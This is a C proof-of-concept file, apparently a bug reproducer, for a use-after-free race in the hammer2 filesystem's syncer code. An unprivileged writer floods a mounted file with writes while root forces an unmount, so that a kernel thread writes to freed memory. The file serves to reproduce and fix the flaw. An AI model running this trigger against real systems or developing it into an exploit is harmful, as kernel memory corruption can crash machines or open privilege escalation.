DF-2832 / dirty_writer.c
/* * DF-2832 dirty-writer trigger. * * Runs as an *unprivileged* user. Hammers a file on the target hammer2 * mount with pwrite() churn (no fsync) so hammer2_pfs_memory_wait() * (sys/vfs/hammer2/hammer2_vfsops.c:2938) hits its stall path and calls * trigger_syncer() / trigger_syncer_start() -> vfs_sync.c reads * mp->mnt_syncer_ctx lock-free. * * While this runs, root races `umount -f` on the mount. Any thread caught * between the mp->mnt_syncer_ctx load and the atomic RMW in * trigger_syncer_start()/trigger_syncer() when vn_syncer_thr_stop() frees * the ctx (vfs_sync.c:353-357) performs an atomic add on freed heap. * * usage: dirty_writer <file> [stop-after-seconds] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <time.h> int main(int argc, char **argv) { const char *path; char *buf; size_t bufsz = 65536; int fd; unsigned long iter = 0; time_t deadline = (time_t)0x7fffffff; if (argc < 2) { fprintf(stderr, "usage: %s <file> [secs]\n", argv[0]); return (2); } path = argv[1]; if (argc > 2) deadline = time(NULL) + atoi(argv[2]); buf = malloc(bufsz); if (!buf) return (2); { int i; for (i = 0; i < (int)bufsz; i += 16) memcpy(buf + i, "DF2832WITNESSDATA", 16); } for (;;) { if (time(NULL) > deadline) break; fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { /* mount went away (umount -f) -- retry quickly */ usleep(20000); continue; } while (time(NULL) <= deadline) { off_t off = (lrand48() % 1024) * bufsz; if (pwrite(fd, buf, bufsz, off) != (ssize_t)bufsz) { break; /* EIO/forced unmount */ } if ((++iter & 0x3f) == 0) ftruncate(fd, 0); /* churn create/delete */ } close(fd); if (time(NULL) > deadline) break; usleep(20000); } fprintf(stderr, "dirty_writer: %lu writes\n", iter); return (0); } |